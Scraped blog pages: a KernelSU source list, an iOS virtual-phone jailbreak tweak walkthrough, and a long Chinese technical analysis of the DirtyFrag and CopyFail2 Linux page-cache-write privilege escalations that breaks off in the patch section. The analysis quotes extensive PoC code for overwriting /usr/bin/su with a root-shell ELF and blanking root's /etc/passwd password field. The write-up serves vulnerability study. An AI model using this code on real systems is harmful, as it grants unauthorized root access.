• AOSPapp_zygote.te：https://android.googlesource.com/platform/system/sepolicy/+/master/private/app_zygote.te

• KernelSUselinux_hide：kernel/feature/selinux_hide.c

• KernelSUbackup_sepolicy：kernel/selinux/rules.c

• KernelSU功能开关：uapi/feature.h、manager/app/src/main/cpp/ksu.cc

• Andrea内核源码级补丁：https://github.com/Andrea-lyz/oppo_oplus_realme_sm8750/commit/db4883d7d243a9fc6ed8ea4071acce2e0be7b460

• Andrea补丁文件：other_patch/70_selinux_hide_policy_query.patch

• APatch KPM样例还原：kpms/selinux_hook/selinux_hook.c（基于selinux_magisk_access_filter v1.0.4反编译还原）

• KPM框架hook_wrap接口：kpms/kpm/kernel/include/hook.h

• Magiskmagiskpolicy说明：https://github.com/topjohnwu/Magisk/blob/master/docs/tools.md

跳转微信打开

iOS虚拟手机可以玩窗口化融合的越狱插件

上一篇《iOS虚拟手机实现能力现状》已经把虚拟手机能跑、能装、能控、能切换环境这几件事讲清楚了。既然底座已经能稳定越狱、能保留状态、还能做自动化。所有的准备工作做好后，下一步要问的，肯定就是有什么好玩的插件？怎么给虚拟手机安装越狱插件？不要急，这一篇就讲这个。

本篇介绍的MilkyWayReborn是iOS上一个集多窗口和窗口缩放能力于一体的越狱tweak。它支持在同一块屏幕上，可以同时打开多个App窗口，而不是只能在虚拟手机屏幕的前台、后台和分屏之间来回切换。

顺便提一嘴，安卓设备现在也有了类似的工具，有机会我也会在后面的公众号文章中介绍，大家拭目以待吧。

项目介绍

先看仓库本身。

https://github.com/34306/MilkyWayReborn

这个仓库是一个越狱插件，包名是com.milkyway.reborn。仓库文档描述它是一个用于在同一屏幕上同时使用多个App的多任务tweak。查看它的control文件，定义是给iOS18和26用的窗口化多任务插件，也是MilkyWay2的现代重写版。这个版本范围对于安卓研究设备的版本号来说，够宽泛也够用了。

从工程结构看，它是典型的rootless的Theos包，Makefile里明确写了THEOS_PACKAGE_SCHEME = rootless，目标架构是arm64和arm64e。这意味着它不是传统老式越狱时代那种随便往系统目录里塞文件的玩法，而是按现代rootless越狱的布局来做的。

功能源码主干由这几个模块组成：

• Tweak.x

  ：负责hook系统和场景流程。

• MWWindowView.m

  ：负责窗口外壳、按钮和拖拽缩放。

• MWBackgrounderManager

  ：负责管理哪些App要保持前台状态。

• MWSceneHelper

  ：负责场景唤醒、休眠和查找。

• MWPassthroughWindow

  ：负责把内容挂到合适的透传窗口里。

• MWThemeManager

  ：负责窗口样式和控件外观。

基本能看出，它是直接插进SpringBoard和Scene系统里，把App变成可以拖来拖去的窗口。

iOS虚拟手机越狱

要让这个插件跑起来，前提不是安装包，而是先把iOS虚拟手机搞成越狱状态。

在前一篇文章里，iOS虚拟手机的越狱路线已经讲过了，核心思路就是走vphone-cli的Jailbreak变体，而不是在系统起来以后再单独找一套传统越狱方案。这个路线会把系统、启动链、用户态工具和bootstrap一起准备好，最后给你一个已经具备/var/jb布局、能装包、能加载Substrate插件的虚拟iPhone。

如果你沿用前一篇的虚拟手机构建链，通常就是直接选JB=1这条路：

make setup_machine JB=1

简单的讲，虚拟手机越狱后，在安装插件之前，先确认这几件事：

1. Sileo

   或者等价的包管理器能正常打开。

2. mobilesubstrate

   已经在系统里。

3. /var/jb

   存在，说明是rootless布局。

4. SpringBoard重启后不会把越狱环境打回原形。

5. 你能在虚拟机里装一个最简单的tweak并让它生效。

如果这几步没问题，说明虚拟手机已经具备安装MilkyWayReborn的基础条件了。

安装越狱插件

MilkyWayReborn的安装方式很标准，就是越狱插件的那一套。因为它依赖mobilesubstrate，所以本质上是一个要被注入SpringBoard和目标App的动态tweak。

make package先生成.deb包。然后把编译好的包通过SSH丢进虚拟手机，接着使用Sileo或者dpkg -i安装，装完后respring一次，让SpringBoard重新加载注入链。对于rootless环境来说，这种方式最稳。

安装完成后，重启一次SpringBoard。再用一个简单App测试，长按图标菜单里有没有Open in Window。如果这个入口出现了，说明插件已经注入成功了。

App窗口化技术

MilkyWayReborn的核心不是“加个小浮窗”，而是把一个App真的变成窗口。

它在主屏图标上挂了一个快捷动作，名字就是Open in Window。也就是说，你长按某个App图标时，不只是打开或者卸载，还能直接让这个App以窗口形态启动。这个入口很适合iOS虚拟手机，因为虚拟手机本来就强调可重复、可自动化的操作流程，少一次手动切换，体验就完整很多。

窗口本体也做得很完整。MWWindowView里能看到标题栏、关闭按钮、最小化按钮、最大化按钮和右下角缩放手柄。窗口可以拖动，缩放手柄可以拖拽改变大小，双击缩放手柄可以把窗口恢复到内容视图的原始比例，长按缩放手柄还会按当前设备方向做一次旋转校正。

插件最难的部分，不是画窗口，而是让窗口里的App别被系统赶回后台。MilkyWayReborn在这里下了很重的功夫。源码里能看到它对FBScene、UIMutableApplicationSceneSettings、_UISceneHostingActivationStateHostComponent和SBApplication都做了处理，目标很明确：只要这个App被标记为窗口化，就尽量维持它的foreground状态，避免Scene系统和RunningBoard把它当成普通后台应用处理掉。

更具体一点，它会做这些事：

• 记录需要保持前台的bundle ID和scene ID。

• 在场景更新时强制foreground。

• 在deactivationReasons变化时把退出理由压住。

• 在应用退出时清理状态，但不让残留assertion拖垮系统。

• 通过RBSAssertion和BKSProcessAssertion维持进程活性。

• 必要时再做一次task_resume或者SIGCONT补救。

Tweak.x里有一个很关键的入口：它会从图标快捷菜单启动目标App，等Scene真正起来以后，再把Scene包进MWWindowView，最后挂到主机窗口上。这样一来，多个App都可以各自拥有自己的窗口外壳，互不遮挡时就像并排桌面窗口，叠起来时又能靠拖拽切换前后层级。

MWBackgrounderManager在这里也很关键，它专门维护哪些bundle ID和scene ID应该被视为foreground。换句话说，这不是单个窗口的静态UI，而是一套可以持续追踪多个App状态的管理器。

这也是为什么它在iOS虚拟手机上特别合适。虚拟手机本来就适合反复回滚、反复验证和批量测试，一旦再加上这种窗口化能力，很多原本要来回切App的操作，就可以在一屏里完成。

总结

MilkyWayReborn不是系统级分屏方案，它是越狱插件，靠的是Scene、SpringBoard和私有API。换系统版本以后，相关hook点很容易漂移出现不兼容的问题。

另外，它依赖mobilesubstrate和rootless越狱布局。如果虚拟手机没越狱，或者bootstrap不完整，插件都不会起来。

还有一点很重要：它追求的是窗口化体验，不是多开沙盒隔离。也就是说，App本身的数据边界和系统限制并没有被重写，只是交互形态被改了。这个区别要分清，不然很容易把“窗口化”误解成“多开”。

如果把iOS虚拟手机看成一台研究机，那么MilkyWayReborn做的事情，就是给这台研究机补上一层桌面化交互能力。但关于App控制的玩法远不止如此，相信后面社区还会有更多这样优秀的插件诞生。

前一篇文章讲了“虚拟手机能不能稳定跑起来，能不能越狱，能不能自动化”。这一篇讲的是“既然能跑起来，能不能把它变成一台可以同时跑多个App的窗口机器”。那下一篇讲什么好呢？

最后，抛出一个问题：既然能控制App的启动与窗口化，那是否可以实现安卓系统上那样的“多开”功能？欢迎大家在评论区讨论。

阅读原文

跳转微信打开

又一款通杀全线Linux发行版的0Day漏洞

2026年5月7日，又一个Linux本地提权洞公开了，名字叫DirtyFrag。

仓库地址是：https://github.com/V4bel/dirtyfrag

这个漏洞不是靠单个入口覆盖所有环境，而是把两个同类页缓存写问题串到了一起。第一条链路走xfrm-ESP，能拿到4字节页缓存写；第二条链路走RxRPC，写入值不如ESP自由，但不依赖用户命名空间。两个入口互相补盲区，所以仓库里把它称为Universal Linux LPE。

截至2026年5月8日，仓库说明里还没有统一CVE编号。ESP分支已有netdev树补丁，RxRPC分支也有公开补丁邮件，但发行版是否回补仍然要看各自公告。

背景

DirtyFrag属于DirtyPipe、CopyFail这一类问题：攻击者没有目标文件的写权限，却能让内核在页缓存上写入数据。这里的关键点不是磁盘文件被直接写了，而是PageCache里的那一页被改了。后续进程读这个文件时，读到的就是被污染后的内存副本，直到缓存被丢弃或系统重启。

DirtyPipe污染的是struct pipe_buffer，DirtyFrag污染的是struct sk_buff里的frag。名字里的Frag就是这个意思。

从影响时间看，仓库README给出的跨度很长。xfrm-ESP分支从2017年1月17日的cac2661c53f3开始受影响，RxRPC分支从2023年6月的2dc334f1a63a开始受影响。两条链合起来，漏洞有效生命周期接近9年。

它的共同入口可以拆成三步：

1. 攻击者只读打开目标文件，比如/usr/bin/su或/etc/passwd。

2. 通过splice()把目标文件的页缓存页零拷贝塞进网络发送侧skb->frags[]。

3. 接收侧内核代码认为自己只是在原地做解密校验，结果把解密过程中的STORE写到了攻击者塞进来的页缓存页上。

抽象成路径就是：

只读文件PageCache
	被splice引用到pipe
	被splice发送到socket
	进入skb->frags[]
	接收侧原地解密
	解密过程对frag执行STORE
	PageCache被改写

关键点在写入和失败返回的顺序：认证失败发生在写入之后。攻击者不需要知道真正的认证密钥，只要能让内核走到原地解密路径，STORE已经发生了，后面的-EBADMSG或-EPROTO只是在写完之后返回的错误码。

从CopyFail到CopyFail2

之前那篇文章分析的是CopyFail，也就是CVE-2026-31431。那条链的核心在AF_ALG，攻击者通过splice(file->pipe->AF_ALG)把只读文件的PageCache页带进内核加密路径，再利用algif_aead状态机和原地解密写回，让内核把数据写到页缓存里。

后来出现的Copy_Fail2-Electric_Boogaloo沿用了这个方向，但落点换到了网络协议栈。仓库地址是：https://github.com/0xdeadbeefnetwork/Copy_Fail2-Electric_Boogaloo

它名字叫CopyFail2，但漏洞入口已经不再是AF_ALG状态机，而是xfrm ESP-in-UDP的MSG_SPLICE_PAGES无COW快路径。换句话说，它和CopyFail同属“只读PageCache被内核写回”的大类，但具体子系统已经切到XFRM/ESP，也就是DirtyFrag里ESP分支的核心位置。

这里的no-COW fast path就是本文后面要讲的esp_input()跳过skb_cow_data()路径。MSG_SPLICE_PAGES则是UDP发送侧把pipe里的页直接挂到skb->frags[]，让目标文件PageCache以网络包frag的身份进入ESP接收路径。

从仓库测试结果看，它覆盖Ubuntu24.04、Debian13、Arch、Fedora43、Ubuntu26.04等较新的内核；Ubuntu22.04的5.15内核不在它的触发范围内，因为UDP侧MSG_SPLICE_PAGES支持是在6.5之后进入的。

CopyFail2和DirtyFrag ESP分支的差异主要在利用策略。

DirtyFrag ESP分支利用ESN的seq_hi做4字节可控STORE，直接把/usr/bin/su第一页换成192字节root-shellELF。CopyFail2走rfc4106(gcm(aes))，目标换成/etc/passwd里一条无登录用户行，逐字节改成空密码uid0用户。中间填充字节用于保持原始行长度不变：

sick::0:0:XXXXXXXXXXXXXXXX:/:/bin/bash

逐字节改写靠的是GCM的计数器流。CopyFail2先读出目标文件某个字节C，再指定想要的明文字节P，需要的keystream字节就是：

keystream = C ^ P

PoC里对应的逻辑如下：

unsignedchar tbyte;
pread(tfd, &tbyte, 1, tboff);
unsignedchar want_ks = tbyte ^ want_plain;
for (ivv = 1; ivv < (1ULL<<32); ivv++) {
memcpy(IV, &ivv, IVLEN);
memcpy(nonce + SALT_LEN, IV, IVLEN);
	aes_gcm_keystream_byte(AEAD_KEY, nonce, 0, &ks_byte);
if (ks_byte == want_ks)
break;
}

这里没有爆破密钥。AEADkey固定，变化的是IV；只要第0个keystream字节等于want_ks，ESP解密时目标文件原字节C和keystream异或后，就会得到想要的P。

接着它通过ip xfrm state add注册ESP状态，算法是rfc4106(gcm(aes))：

snprintf(cmd, sizeof cmd,
"ip link set lo up ; "
"ip xfrm state flush ; "
"ip xfrm state add src 127.0.0.1 dst 127.0.0.1 "
"proto esp spi 0x%08x "
"encap espinudp %d %d 0.0.0.0 "
"aead 'rfc4106(gcm(aes))' %s 128 "
"replay-window 32",
	SPI, ENC_PORT, ENC_PORT, keyhex);

这里依然需要XFRM配置能力，所以它会运行在user和net命名空间中。仓库还提供了aa-rootns.c，用于在特定Ubuntu策略下尝试拿到命名空间内所需能力。这个点比原始CopyFail更贴近真实发行版环境：漏洞触发之外，还要处理user namespace策略。

把目标页送进ESP路径的代码集中在三次splice()和一次splice(pipe->socket)：

splice(afd2, &off, pfd[1], NULL, 16, SPLICE_F_MORE);
splice(tfd, &toff, pfd[1], NULL, 1, SPLICE_F_MORE);
splice(afd2, &ioff, pfd[1], NULL, 16, SPLICE_F_MORE);
int ss = socket(AF_INET, SOCK_DGRAM, 0);
connect(ss, (struct sockaddr *)&da, sizeof da);
splice(pfd[0], NULL, ss, NULL, 16 + 1 + 16, 0);

前三次splice()分别塞入ESP头、目标文件的1字节PageCache、伪ICV。最后一次splice(pipe->UDPsocket)让内核设置MSG_SPLICE_PAGES，这1字节目标文件页就会作为skb->frags[]进入ESP接收路径。

外层run.sh负责把“单字节写”扩展成“整行替换”。它先找/etc/passwd里最长的nologin、false或sync用户行，然后构造同长度的新行，避免破坏文件结构。

PREFIX="${NEW_USER}::0:0:"
SUFFIX=":/:/bin/bash"
PAD_LEN=$((VICTIM_LEN - ${#PREFIX} - ${#SUFFIX}))
PAD=$(printf'%*s'"$PAD_LEN"'' | tr' ''X')
TARGET_LINE="${PREFIX}${PAD}${SUFFIX}"

然后逐字节比较原始行和目标行，只对不同字节调用底层写原语：

for ((i=0; i<len; i++)); do
	o="${src:$i:1}"
	t="${dst:$i:1}"
if [ "$o" != "$t" ]; then
		FLIPS+=("$((line_off + i)):$(printf '0x%02x' "'$t")")
fi
done

这种写法不改行长，不移动后续字段偏移。页缓存里出现空密码uid0用户后，再通过su进入它。

CopyFail2还补了IPv6版本。README中特别强调同类问题也能落到esp6_input()，IPv6PoC使用::1回环和ip -6 xfrm，并且多塞了16字节padding，因为xfrm6_input.c存在长度检查，UDPpayload至少要达到40字节。需要注意的是，当前能查到的netdev修复提交f4c50a4034e62ab75f1d5cdd191dd5f9c77fdff4已经同时修改了esp4.c、esp6.c、ip_output.c和ip6_output.c；如果某个发行版只回补了IPv4侧修复，IPv6侧才会继续成为绕过面。

if (splice(afd2, &off, pfd[1], NULL, 16, SPLICE_F_MORE) != 16)
	die("splice esp_hdr");
if (splice(tfd, &toff, pfd[1], NULL, 1, SPLICE_F_MORE) != 1)
	die("splice target byte");
if (splice(afd2, &poff, pfd[1], NULL, 16, SPLICE_F_MORE) != 16)
	die("splice pad");
if (splice(afd2, &ioff, pfd[1], NULL, 16, SPLICE_F_MORE) != 16)
	die("splice icv");

三者关系可以压成下面这张表：

CopyFail：
	AF_ALG状态机问题，PageCache进入加密socket后被写回
CopyFail2：
	xfrm ESP-in-UDP无COW快路径，PageCache进入skb->frag后被ESP写回
DirtyFrag：
	把xfrm-ESP Page-Cache Write和RxRPC Page-Cache Write串联
	用两条链覆盖不同发行版策略与模块差异

CopyFail2可以理解为CopyFail思路迁移到XFRM/ESP后的版本；从根因看，它已经踩在DirtyFrag ESP分支的同一位置，只是payload组织方式不同。

xfrm-ESP漏洞原理

先看ESP这条链。问题出在esp_input()处理非线性skb时跳过了skb_cow_data()。

正常情况下，如果skb的数据来自外部共享页，内核在原地修改之前应该先做copy-on-write，复制到内核自己的私有buffer里。但漏洞分支里只要skb没有被clone，并且没有frag_list，就直接goto skip_cow。

staticintesp_input(struct xfrm_state *x, struct sk_buff *skb)
{
if (!skb_cloned(skb)) {
if (!skb_is_nonlinear(skb)) {
			nfrags = 1;
goto skip_cow;
		} elseif (!skb_has_frag_list(skb)) {
			nfrags = skb_shinfo(skb)->nr_frags;
			nfrags++;
goto skip_cow;
		}
	}
	err = skb_cow_data(skb, 0, &trailer);
}

问题就藏在第二个分支里。通过splice()发出去的文件页会挂在skb_shinfo(skb)->frags[]，这是非线性skb，但它通常没有frag_list。于是esp_input()绕过了COW，后续加解密直接在这个页缓存页上操作。

接下来看写入位置。ESP配合ESN和authencesn(hmac(sha256),cbc(aes))时，会在crypto_authenc_esn_decrypt()里移动高32位序列号。这个移动不是纯逻辑移动，而是一次真实写入。

staticintcrypto_authenc_esn_decrypt(struct aead_request *req)
{
	scatterwalk_map_and_copy(tmp, src, 0, 8, 0);
if (src == dst) {
		scatterwalk_map_and_copy(tmp, dst, 4, 4, 1);
		scatterwalk_map_and_copy(tmp + 1, dst,
			assoclen + cryptlen, 4, 1);
		dst = scatterwalk_ffwd(areq_ctx->dst, dst, 4);
	}
}

scatterwalk_map_and_copy(...,1)表示向目标scatterlist写数据。因为前面aead_request_set_crypt(req,sg,sg,...)让src和dst指向同一批sg，所以这里写的不是普通临时buffer，而是skb->frags[]背后的PageCache。

ESP分支最终得到的是一次稳定的4字节STORE。

这4字节的值来自ESN高32位序列号，而这个字段可由攻击者在SA里提前放好：

staticvoidesp_input_set_header(struct sk_buff *skb, __be32 *seqhi)
{
structxfrm_state *x = xfrm_input_state(skb);
structip_esp_hdr *esph;
if ((x->props.flags & XFRM_STATE_ESN)) {
		esph = skb_push(skb, 4);
		*seqhi = esph->spi;
		esph->spi = esph->seq_no;
		esph->seq_no = XFRM_SKB_CB(skb)->seq.input.hi;
	}
}

XFRM_SKB_CB(skb)->seq.input.hi最终来自XFRM状态里的replay_esn->seq_hi。而这个值是在注册SA时通过XFRMA_REPLAY_ESN_VAL属性传进去的。PoC正是把要写入的4字节payload塞到这里。

ESP路径代码块解析

PoC把目标选成/usr/bin/su，因为它本来就是setuid-root程序。把su的PageCache第一页临时换成极小的root-shellELF后，再执行/usr/bin/su，内核加载的是被污染后的ELF内容，setuid位仍然生效。

目标和payload相关宏只有几个：

#define TARGET_PATH      "/usr/bin/su"
#define PATCH_OFFSET     0
#define PAYLOAD_LEN      192
#define ENTRY_OFFSET     0x78

源码里的shell_elf[PAYLOAD_LEN]是一段192字节ELF。这里不是把payload写进磁盘上的/usr/bin/su，而是覆盖/usr/bin/su的PageCache前192字节。ENTRY_OFFSET处是新ELF入口，里面做setgid(0)、setuid(0)、setgroups(0,NULL)，最后execve("/bin/sh",...)。

ESP需要注册XFRM SA，这要求CAP_NET_ADMIN。普通用户没有这个权限，所以PoC先进入新的user和net命名空间：

staticvoidsetup_userns_netns(void)
{
uid_t real_uid = getuid();
gid_t real_gid = getgid();
charmap[64];
	unshare(CLONE_NEWUSER | CLONE_NEWNET);
	write_proc("/proc/self/setgroups", "deny");
snprintf(map, sizeof(map), "0 %u 1", real_uid);
	write_proc("/proc/self/uid_map", map);
snprintf(map, sizeof(map), "0 %u 1", real_gid);
	write_proc("/proc/self/gid_map", map);
int s = socket(AF_INET, SOCK_DGRAM, 0);
structifreqifr;memset(&ifr, 0, sizeof(ifr));
strncpy(ifr.ifr_name, "lo", IFNAMSIZ);
	ioctl(s, SIOCGIFFLAGS, &ifr);
	ifr.ifr_flags |= IFF_UP | IFF_RUNNING;
	ioctl(s, SIOCSIFFLAGS, &ifr);
}

这段代码的目的不是直接拿宿主root，而是在新命名空间里获得配置XFRM所需的网络管理能力，并把lo接口拉起来。后面所有包都打到127.0.0.1:4500。

接着是注册SA，关键字段是seq_hi：

staticintadd_xfrm_sa(uint32_t spi, uint32_t patch_seqhi)
{
structxfrm_usersa_info *xs = (struct xfrm_usersa_info *)NLMSG_DATA(nlh);
	xs->id.spi = htonl(spi);
	xs->id.proto = IPPROTO_ESP;
	xs->family = AF_INET;
	xs->mode = XFRM_MODE_TRANSPORT;
	xs->flags = XFRM_STATE_ESN;
structxfrm_replay_state_esn *esn =
		(struct xfrm_replay_state_esn *)esn_buf;
	esn->bmp_len = 1;
	esn->seq = REPLAY_SEQ;
	esn->seq_hi = patch_seqhi;
	esn->replay_window = 32;
	put_attr(nlh, XFRMA_REPLAY_ESN_VAL, esn_buf, sizeof(esn_buf));
}

patch_seqhi就是最终会被STORE到目标页缓存里的4字节。PoC按4字节切分shell_elf，每4字节注册一个SPI不同的SA。

for (int i = 0; i < PAYLOAD_LEN / 4; i++) {
uint32_t spi = 0xDEADBE10 + i;
uint32_t seqhi =
		((uint32_t)shell_elf[i*4 + 0] << 24) |
		((uint32_t)shell_elf[i*4 + 1] << 16) |
		((uint32_t)shell_elf[i*4 + 2] << 8) |
		((uint32_t)shell_elf[i*4 + 3]);
	add_xfrm_sa(spi, seqhi);
}

这个循环把“要写入的4字节”转换成“XFRM状态里的ESN高32位”。后续每触发一次指定SPI的ESP包，就在对应文件偏移写4字节。

do_one_write()里和页缓存写有关的是下面几行：

uint8_t hdr[24];
*(uint32_t *)(hdr + 0) = htonl(spi);
*(uint32_t *)(hdr + 4) = htonl(SEQ_VAL);
memset(hdr + 8, 0xCC, 16);
structioveciov_h = { .iov_base = hdr, .iov_len = sizeof(hdr) };
vmsplice(pfd[1], &iov_h, 1, 0);
splice(file_fd, &off, pfd[1], NULL, 16, SPLICE_F_MOVE);
splice(pfd[0], NULL, sk_send, NULL, 24 + 16, SPLICE_F_MOVE);

前置的socket设置决定这批数据会进入ESP接收路径：

1. setsockopt(...,UDP_ENCAP_ESPINUDP,...)

   会让UDP接收路径进入ESP-in-UDP处理逻辑，包会被送到xfrm4_udp_encap_rcv()，再进入esp_input()。

2. vmsplice()

   先把伪造ESP头放入pipe，splice(file_fd,...)再把目标文件页缓存挂入pipe，最后splice(pipe,socket,...)把它们送进UDPsocket。由于走零拷贝路径，目标文件页以skb->frags[0]形态到达接收侧。

最终接收侧看到的skb大概是这样：

skb {
	head: ESP头8字节，IV16字节
	frags[0]: PageCache页P，偏移i*4，长度16字节
}

而漏洞写入发生在接收侧：

udp_rcv
	xfrm4_udp_encap_rcv
		xfrm_input
			esp_input
				跳过skb_cow_data
				esp_input_set_header写入seq_hi
				skb_to_sgvec把frag映射到sg
				crypto_authenc_esn_decrypt
					scatterwalk_map_and_copy写4字节到PageCache

ESP路径没有竞争窗口，不靠抢时序。只要包走到这条分支，页缓存页就会出现在原地解密的写入位置。

RxRPC漏洞原理

ESP路径写入能力更强，但它有一个现实问题：需要unshare(CLONE_NEWUSER|CLONE_NEWNET)。Ubuntu近年可能通过AppArmor策略限制非特权用户创建user namespace，这会让ESP路径起不来。

针对这个盲区，DirtyFrag接上了RxRPC路径。

RxRPC分支的问题点在rxkad_verify_packet_1()。它为了校验RXRPC_SECURITY_AUTH级别的数据包，会对skb里的前8字节payload做一次原地pcbc(fcrypt)解密。

staticintrxkad_verify_packet_1(struct rxrpc_call *call,
struct sk_buff *skb, rxrpc_seq_t seq,
struct skcipher_request *req){
	sg_init_table(sg, ARRAY_SIZE(sg));
	ret = skb_to_sgvec(skb, sg, sp->offset, 8);
if (unlikely(ret < 0))
return ret;
memset(&iv, 0, sizeof(iv));
	skcipher_request_set_sync_tfm(req, call->conn->rxkad.cipher);
	skcipher_request_set_callback(req, 0, NULL, NULL);
	skcipher_request_set_crypt(req, sg, sg, 8, iv.x);
	ret = crypto_skcipher_decrypt(req);
}

这里的sg,sg说明源和目的相同。只要攻击者能通过splice()把目标文件页塞进skb->frags[]，skb_to_sgvec()就会把这个页缓存页映射成scatterlist，后面的crypto_skcipher_decrypt()就会在页缓存上做8字节STORE。

但RxRPC和ESP不一样。ESP写入值来自seq_hi，几乎可以当任意4字节写。RxRPC写入值是：

P = fcrypt_decrypt(C,K)

其中C是当前位置原本的8字节内容，K是攻击者通过RxRPCkey控制的8字节session key。攻击者不能直接指定P，只能离线爆破K，直到解密结果满足目标格式。

所以RxRPC路径不适合像ESP那样写完整ELF。PoC换了一个更省字节的目标：/etc/passwd第一行。

正常root行类似：

root:x:0:0:root:/root:/bin/bash

PoC要把它改成：

root::0:0:GGGGGG:/root:/bin/bash

也就是把root的密码字段变成空字符串。在PoC针对的Ubuntu等PAM配置中，pam_unix.so nullok会接受空密码字段，su认证就能被绕过去。

RxRPC路径代码块解析

RxRPC的第一步是准备攻击者控制的session key。PoC构造RxRPCv1token，把SESSION_KEY塞进去，再用add_key()注册到当前进程keyring。

staticuint8_t SESSION_KEY[8] = {
0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
};
staticintbuild_rxrpc_v1_token(uint8_t *out, size_t maxlen)
{
	*(uint32_t *)p = htonl(2);
	*(uint32_t *)p = htonl(0);
	*(uint32_t *)p = htonl(1);
memcpy(p, SESSION_KEY, 8);
}
staticlongadd_rxrpc_key(constchar *desc)
{
return key_add("rxrpc", desc, buf, n, KEY_SPEC_PROCESS_KEYRING);
}

sec_ix=2表示RXKAD。内核后面建立安全上下文时，会用这个session key初始化pcbc(fcrypt)cipher。

接着PoC在用户态复刻了fcrypt，做离线搜索。它没有尝试约束完整8字节，因为那样代价太高，而是只约束最终/etc/passwd格式必须成立的字节。

staticinlineintfc_check_pa_nullok(constuint8_t P[8])
{
return P[0] == ':' && P[1] == ':';
}
staticinlineintfc_check_pb_nullok(constuint8_t P[8])
{
return P[0] == '0' && P[1] == ':';
}
staticinlineintfc_check_pc_nullok(constuint8_t P[8])
{
if (P[0] != '0') return0;
if (P[1] != ':') return0;
if (P[7] != ':') return0;
for (int i = 2; i < 7; i++) {
if (P[i] == ':' || P[i] == '\0' || P[i] == '\n')
return0;
	}
return1;
}

这三个谓词对应三次重叠写：

offset4写8字节，最终只保留第0到第1字节，目标是::
offset6写8字节，最终只保留第0到第1字节，目标是0:
offset8写8字节，最终保留全部8字节，目标是0:任意合法5字节:

因为三次写入区域重叠，后写覆盖先写，最后效果是：

root:x:0:0:root:/root:/bin/bash
root::0:0:GGGGGG:/root:/bin/bash

离线搜索函数保留了最小循环：

staticintfind_K_offline_generic(constuint8_t C[8],
uint64_t max_iters, pcheck_fn check,
uint8_t K_out[8], uint8_t P_out[8],
uint64_t seed_init, constchar *label){
for (uint64_t iter = 0; iter < max_iters; iter++) {
uint64_t r = fc_splitmix64(&seed);
memcpy(K, &r, 8);
		fcrypt_user_setkey(&ctx, K);
		fcrypt_user_decrypt(&ctx, P, C);
if (check(P)) {
memcpy(K_out, K, 8);
memcpy(P_out, P, 8);
return0;
		}
	}
return-1;
}

这个函数完全在用户态跑，不触发内核漏洞。它只是找一个合适的K，让fcrypt_decrypt(C,K)的输出满足passwd行格式。

第二次和第三次搜索不能直接使用原始文件字节。第一次写入之后，offset6开始的8字节已经变了；第二次写入之后，offset8开始的8字节也变了。PoC专门修正了这个链式关系：

find_K_offline_generic(Ca, max_iters,
	fc_check_pa_nullok, Ka, Pa_out, seed_base, "K_A");
memcpy(Cb_actual, Pa_out + 2, 6);
memcpy(Cb_actual + 6, Cb + 6, 2);
find_K_offline_generic(Cb_actual, max_iters,
	fc_check_pb_nullok, Kb, Pb_out, seed_base, "K_B");
memcpy(Cc_actual, Pb_out + 2, 6);
memcpy(Cc_actual + 6, Cc + 6, 2);
find_K_offline_generic(Cc_actual, max_iters,
	fc_check_pc_nullok, Kc, Pc_out, seed_base, "K_C");

如果这里不修正Cb_actual和Cc_actual，离线算出来的key在真实内核触发时就会错位。RxRPC分支能稳定落点，靠的就是这处链式修正。

内核写入由do_one_trigger()触发。握手和CHALLENGE部分只负责让客户端建立RXKAD上下文，页缓存写入集中在构造DATA头和splice()发送这一段：

long key = add_rxrpc_key(keyname);
compute_csum_iv(epoch, cid, 2, SESSION_KEY, csum_iv);
compute_cksum(cid, callN, 1, SESSION_KEY, csum_iv, &cksum_h);
structrxrpc_wire_headermal = {0};
mal.epoch = htonl(epoch);
mal.cid = htonl(cid);
mal.callNumber = htonl(callN);
mal.seq = htonl(1);
mal.type = RXRPC_PACKET_TYPE_DATA;
mal.flags = RXRPC_LAST_PACKET;
mal.securityIndex = 2;
mal.cksum = htons(cksum_h);
mal.serviceId = htons(svc_in);
structiovecviv = { .iov_base = &mal, .iov_len = sizeof(mal) };
vmsplice(p[1], &viv, 1, 0);
splice(target_fd, &off, p[1], NULL, splice_len, SPLICE_F_NONBLOCK);
splice(p[0], NULL, udp_srv, NULL, sizeof(mal) + splice_len, 0);
recvmsg(rxsk_cli, &m, 0);

add_key("rxrpc",...)把当前轮次的SESSION_KEY交给内核。前面的RxRPC握手让客户端把这个key用于RXKAD安全上下文。随后DATA包的cksum也用同一个key算出来，包才能走到rxkad_verify_packet_1()。最后两次splice()把DATA头和/etc/passwd的PageCache页拼成一个UDP包，recvmsg()推动客户端消费这个包，原地解密随之发生。

对应到内核接收路径：

recvmsg
	rxrpc_recvmsg
		rxrpc_recvmsg_data
			rxrpc_verify_data
				rxkad_verify_packet
					rxkad_verify_packet_1
						skb_to_sgvec映射frag
						skcipher_request_set_crypt使用sg作为src和dst
						crypto_skcipher_decrypt写回PageCache

两条链为什么能通杀

单看任意一条链，都有明显边界。

ESP链的写入能力直接，4字节值和偏移都能控制，所以可以拼出一个192字节root-shellELF。缺点是要能创建user和net命名空间，从而拿到当前命名空间里的CAP_NET_ADMIN。如果发行版策略禁用了非特权user namespace，这条路就断了。

RxRPC链优点是不需要user namespace，add_key()、socket(AF_RXRPC)、socket(AF_ALG)、splice()和recvmsg()都可以由普通用户触发。缺点是写入值要靠fcrypt_decrypt(C,K)碰撞，不能随便写大段payload，并且目标系统要有rxrpc.ko。

DirtyFrag把两者串起来：

if (force_rxrpc) {
	rc = rxrpc_lpe_main(new_argc, co_argv);
for (int i = 0; !passwd_already_patched() && i < 3; i++)
		rc = rxrpc_lpe_main(new_argc, co_argv);
} elseif (force_esp) {
	rc = su_lpe_main(new_argc, co_argv);
} else {
	rc = su_lpe_main(new_argc, co_argv);
if (!su_already_patched()) {
		rc = rxrpc_lpe_main(new_argc, co_argv);
for (int i = 0; !passwd_already_patched() && i < 3; i++)
			rc = rxrpc_lpe_main(new_argc, co_argv);
	}
}

默认流程是先走ESP；如果/usr/bin/su没有被污染，再切到RxRPC，尝试污染/etc/passwd。最后统一走run_root_pty()执行su -并接管交互。

污染判定只看两个稳定位置：

staticintsu_already_patched(void)
{
	pread(fd, got, sizeof(got), 0x78);
returnmemcmp(got, su_marker, sizeof(su_marker)) == 0;
}
staticintpasswd_already_patched(void)
{
	pread(fd, head, sizeof(head), 0);
returnmemcmp(head, "root::0:0", 9) == 0;
}

DirtyFrag所谓通杀，不是一个入口覆盖所有Linux发行版，而是两个页缓存写漏洞分别覆盖彼此盲区。

补丁与缓解

ESP分支的修复思路是给从splice()来的外部共享frag打标记，然后在ESP输入路径里识别它，强制走COW。

-		} else if (!skb_has_frag_list(skb)) {
